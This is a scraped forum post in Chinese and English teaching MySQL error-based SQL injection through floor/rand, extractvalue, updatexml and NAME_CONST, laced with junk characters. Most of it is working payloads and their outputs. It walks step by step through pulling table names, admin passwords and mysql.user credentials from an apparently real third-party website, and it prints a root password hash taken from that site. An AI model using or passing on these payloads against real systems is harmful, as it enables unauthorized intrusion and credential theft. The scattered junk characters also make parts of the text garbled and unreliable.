1、通过floor报错 可以通过如下一些利用代码 and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a); and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2))); 举例如下:
5 k# G/ t* b" f4 o/ @+ I( u( H, A首先进行正常查询: mysql> select * from article where id = 1;# b; s1 o$ j) C4 N
+—-+——-+———+
9 y$ N" T0 d9 t" Z) m| id | title | content |7 W- N8 M5 Y8 o
+—-+——-+———+1 H3 O5 J( o \* L& s/ ]
| 1 | test | do it |
. x+ V4 z$ G% g& p1 ]6 a5 S) f9 i+—-+——-+———+ 假如id输入存在注入的话,可以通过如下语句进行报错。 mysql> select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
; m2 h# n6 `% Q4 K$ A2 dERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’ 可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。
0 @4 t3 z: x) D' l. c例如我们需要查询管理员用户名和密码: Method1: mysql> select * from article where id = 1 and (select 1 from (select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
8 |/ B7 t, F$ N0 b- F) Z1 FERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’ Method2: mysql> select * from article where id = 1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),floor(rand(0)*2)));
: I: y) R2 R$ H6 D8 g( Q! QERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’ 2、ExtractValue! z& r7 c {" _; M* c0 j$ `
测试语句如下 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1))); 实际测试过程 mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
" @& l$ ]/ |; P# N: D' h+ fERROR 1105 (HY000): XPATH syntax error: ’\admin888′ 3、UpdateXml 测试语句 and 1=(updatexml(1,concat(0x3a,(select user())),1)) 实际测试过程 mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’ % g N7 u, j8 \3 K
9 j; r* K8 d- x; f' w再收集:
8 H* U3 E3 w/ c5 o4 [1 g/ Xhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c) $ T$ C+ k# w" d& z: B" a
* E X5 q4 l( M" E* \9 jErroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’
. b5 j" ~2 F$ t3 y& t6 K2 V
& a* A6 {" X. \7 |& [$ e- H+ \http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)
% D; ~4 B. J! }$ C% V( S' J u. w' r: M9 Y2 ^& A" B6 Z
Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′ # d3 F: |! P* k% F2 J* B1 z
. y' [' z0 z! o* ^ s- o rMYSQL高版本报错注入技巧-利用NAME_CONST注入& X% m; r8 x9 X! K; I
It's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it. . C0 \3 H0 Y1 i7 O5 m
% ?) g5 i% i, M9 m) U' {: M! E, E0 Q- Q$ |5 e
相关信息; B. @& c: K4 ~9 g' S& ]
9 ^. a) U% a& S5 o( B$ zNAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.2 r7 c1 D: o, @
9 a, G9 m: \3 I
Code:
7 w: i: r0 U |+ y6 uNAME_CONST(DATA, VALUE)
% d, ^5 h& i8 o& H( j/ |% W N( V v1 N" Z
Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.( z, }1 [0 I' u5 @
- ~1 O2 P( c; [/ k6 w( NSELECT NAME_CONST('TEST', 1)$ S$ y0 }% L$ A( ~( j0 h! s
9 f' [4 ^4 [, ]: @$ ?: g9 `+ ~' h, R2 {" |4 S; g
; ~& U7 L) B! _% U' X" `|---------------|) k5 l0 J1 t# a0 o
| TEST |( S5 l7 G$ s/ ~7 i. h
| |, U4 {: g# C# F9 n
|---------------|
6 G6 G) T. ]' h2 p3 }| 1 |
* t C: Q" m) M- N| |, O: B9 _" H$ H/ F$ G
|---------------|8 t$ j( D; D; x% N- g
2 i3 e8 t: u0 C: _8 j9 z0 f) y
m r( h5 c9 x; `) k& F! O" ~ C r9 e) T! l% f" D
4 a5 J) r0 e* Z& K) p
http://dev.mysql.com/doc/refman/5.0/en/m...name-const
8 W# E2 `' w- \Intro to MySQL Variables
' j) ]$ F& |, E+ B: d# F$ k( N
Once you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST./ ?* O# {, D3 W6 g2 C) h
( v' [* R) w' a3 y7 `" ^3 N7 b
Code:
' z9 `$ Y* {6 f+ b2 f" \. k$ khttp://www.baido.hk/qcwh/content ... ;sid=19&cid=2619 j* s3 W7 C$ b
; W7 K( z/ U8 W/ ~& _& M
& o9 J% d' Q2 H- @" k
, G4 f5 } K7 L( M2 Q
( c: _, G- E( _. ^7 v! u
# I6 q: `/ W* b$ P& \( }/ q- `Code:
) a. I$ ]: J8 W& H6 Gand+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--, B5 ~+ y! c# l, f! s' d. B
& @3 y; s& Q- Z# I) B5 b q
9 E9 a) q) v- M- j8 y' tVAR = Your MySQL variable.
6 [2 _; {' x! A% T
% r9 x; X' s. k% wMySQL 5.1.3 Server System Variables
7 S3 U. e. o- h) ?1 m4 {
- v# N& J. Y. [Let's try it out on my site..
$ p% b$ r" M) R6 E; u, T" o" n, r7 k6 q' U
Code:
6 p" b2 ?' V. dhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--5 o+ J4 W0 v" `
/ E* O4 c5 Y, q, R7 T; W% K
Erroruplicate column name '5.0.27-community-nt'
& U, C Y2 _9 s: S- }
4 N, A4 n- ? ?7 h! K
. Q( h3 t5 w, J* i7 C" ?
9 Q8 v* a U7 S0 \2 [
- l: }. j9 O6 M4 a5 e7 f( y
, m- F* }" v( c5 ], fNow I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...3 |' E+ b. S) E9 ^9 e
d! c3 q4 ~9 d1 Z* L3 P3 i0 r
Data Extraction3 A( c' i2 V+ I. @1 a- s6 I9 F
" e6 L" T; Z' WCode:+ b, b. o% W, r
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--* O. P1 Q$ ^ p4 Q
* p+ ~' ~3 C. Y; l& t& V0 K
% n$ O) s4 a( P; n9 {1 {( pWe should get a duplicate column 1 error...
8 c4 h4 U3 L# _
0 W1 e" } w/ B& FCode:2 q; L1 y _( d9 ^# `/ X+ ^
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--
. G& |* U6 s* W2 j E* C( D6 k/ k1 I0 J& p9 A
Erroruplicate column name '10 E2 X% N3 S8 \. b4 O! X
5 l1 k& [6 H" k3 l. C+ `6 W5 n( l4 [; Q$ ?; T) ?
# l4 o! H d6 R& Y6 h) e* ?3 B& H5 M7 z4 q! G5 l
' ^4 U2 e: c4 k: O# y! _- n$ D
8 t; F P) h+ H5 TNow let's get the tables out this bitch..; U" A# N$ U+ N* A
- O- m8 {" ^7 aCode:% ^" r( p% w" G! z
+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--; \. P* g& e* w( @1 l
3 p- g5 Z1 A/ H" \$ @$ U. h
0 d9 x) j* _+ T) I$ B+ pLet's see if it works here, if it does, we can go on and finish the job.
i4 B$ O0 R- M; N( u4 ?: M7 v8 I! }# y) [
Code: k- q4 @/ M7 N3 l
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--+ N( C, B/ z$ V4 z) E# h
8 Q; L. D( ]. e! U- C- u2 e V
" @! l; m0 w+ N* J1 [! C: e
Erroruplicate column name 'com_admanage. F) f, b( S ?
' E& _ X# Q0 r5 C( d+ E+ K" w& `
" v' ]5 W# F: g" L. V& }3 ]1 A
1 k: t6 }" }$ r- ?- d
8 X2 H9 c, t) C) S: j+ K# |! x
. V. t8 H- W0 F* n9 d0 K1 i) Z4 @Now I'm going to be lazy and use mysql.user as an example, just for the sake of time.
$ Y- g: n% u/ b! t& ]$ N$ ]) g1 T
+ g- l( Z2 N: Y! Y# ELet's get the columns out of the user table..
8 L7 \- e9 x5 Q2 n3 k. \' l5 K, }7 U! t) R2 ~* C6 H
Code:
9 E' T: C$ E2 [! S f+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--' \% N- o& ?3 C- ~
% n; f9 r# y. a
- E& e/ Y3 r, b- R
So mine looks like this, and I get the duplicate column name 'Host'.
& R6 {" ]4 S* E9 D( ]. _3 R
4 S' ^" E' j- lCode:
0 u9 a2 e" w4 |http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--
2 C9 B- { b, h. ?4 s, y/ x; F
+ M* @/ q& T0 t# f" SErroruplicate column name 'Host'1 D/ p) o# {) [ @6 \! E
" v! q3 [! v' k: J4 {/ i6 G! f
. a, z% T- c, {1 \2 c/ ~$ D4 o4 Z' b
- ?3 }9 F8 X* ~$ q2 E+ J8 m
) ?* Y6 u: G \7 R
9 v) h) \, l- n7 _0 Z: f% y4 D+ @8 nWoot, time to finish this bitch off.
; o1 N: S- C4 @5 [2 ^! z
, N. M5 N: B' f, n0 y- RCode:5 x8 o# P) o" \% d( H R5 g' [# B
+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--( }, Y+ M; e, u( X: h
& V& H1 _' o+ m7 p Y/ Z
3 i, _- K! D$ e. GSo mine looks like this...
: |4 Y, w$ `% E/ Z! V* U" A
5 ~& y% T# o: f7 xCode:' v, f; [3 l. r; w
http://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--: U+ r5 y- n- F: A. a9 z5 h7 B3 Q
# Y2 I h( Z, C" e
Erroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'
& [( C. v9 T7 M) l4 q i7 P9 ]% s* t: b! y" D) Y- s- E" R* ]
+ J o/ j5 s! e' S 6 e! K7 f! m( H9 o8 }
4 Q7 C4 S0 h H5 R% s+ S$ b. o( `. s- s, B' ~ v2 U
/ Q$ {. A7 M9 ]1 ]( a) |
And there we have it, thanks for reading.# Z7 o4 s- @: m6 l' ^
, m) }# {/ ^) C( s4 c4 B4 z |